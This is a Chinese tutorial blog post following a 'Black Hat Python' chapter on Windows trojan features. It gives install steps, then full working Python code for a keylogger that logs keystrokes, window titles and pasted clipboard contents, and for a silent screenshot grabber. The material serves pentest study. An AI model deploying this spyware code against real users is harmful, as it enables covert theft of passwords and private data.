Python黑帽子 黑客与渗透测试编程之道(十) 第八章:Windows下木马的常用功能
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了Python黑帽子 黑客与渗透测试编程之道(十) 第八章:Windows下木马的常用功能,小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含4008字,纯文字阅读大概需要6分钟。
内容图文
![Python黑帽子 黑客与渗透测试编程之道(十) 第八章:Windows下木马的常用功能](/upload/InfoBanner/zyjiaocheng/976/ede5bd670587442997dde9b9febbc699.jpg)
有趣的键盘记录
首先安装两个包 pythoncom 和 pyHook
安装这两个包,一定要注意版本问题!!!折腾了好久
2.7 32位的Python可以用这个教程
https://blog.csdn.net/xiaoliu5396/article/details/46457585
当时装这个的时候有以下错误:Python version 2.7 required,which was not found in the registry。
解决办法:
https://blog.csdn.net/zklth/article/details/8117207
2.7 64位的Python借鉴的是这个教程
https://www.cnblogs.com/helloworldcc/p/9427452.html
我的做法:
1)把pip更新到最新
python -m pip install --upgrade pip (好像可以省略)
2)下载64位的pywin32 https://pypi.org/project/pywin32/#files
将它放入Python安装路径的Scripts文件夹下。
3)下载64位的pyHook https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook
最好搜索win+f搜索一下,不然很难找。。。
将它放入Python安装路径的Scripts文件夹下。
4)安装pywin32和pyHook
到安装Python的Scripts文件夹下运行:
pip.exe install pywin32-224-cp27-cp27m-win_amd64.whl
pip.exe install pyHook-1.5.1-cp27-cp27m-win_amd64.whl
此时前提工作搞定:
———————————————————————————————————————
代码:
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
# get a handle to the foreground window
hwnd = user32.GetForegroundWindow()
# find the process ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd, byref(pid))
# store the current process ID
process_id = "%d" % pid.value
# grab the executable
executable = create_string_buffer("\x00" * 512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
# now read it's title
window_title = create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title),512)
# print out the header if we're in the right process
print
print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
print
# close handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
def KeyStroke(event):
global current_window
# check to see if target changed windows
if event.WindowName != current_window:
current_window = event.WindowName
get_current_process()
# if they pressed a standard key
if event.Ascii > 32 and event.Ascii < 127:
print chr(event.Ascii),
else:
# if [Ctrl-V], get the value on the clipboard
# added by Dan Frisch 2014
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print "[PASTE] - %s" % (pasted_value),
else:
print "[%s]" % event.Key,
# pass execution to next hook registered
return True
# create and register a hook manager
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
# register the hook and execute forever
kl.HookKeyboard()
pythoncom.PumpMessages()
测试:
运行代码之后,另外打开一个cmd窗口,输入test,会看到所输入的字符会出现在第一个窗口。
试着浏览网站:
截取屏幕快照
代码:
import win32gui
import win32ui
import win32con
import win32api
# grab a handle to the main desktop window
hdesktop = win32gui.GetDesktopWindow()
# determine the size of all monitors in pixels
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
# create a device context
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)
# create a memory based device context
mem_dc = img_dc.CreateCompatibleDC()
# create a bitmap object
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)
# copy the screen into our memory device context
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
# save the bitmap to a file
screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp')
# free our objects
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())
结果:
截出来的图:
内容总结
以上是互联网集市为您收集整理的Python黑帽子 黑客与渗透测试编程之道(十) 第八章:Windows下木马的常用功能全部内容,希望文章能够帮你解决Python黑帽子 黑客与渗透测试编程之道(十) 第八章:Windows下木马的常用功能所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。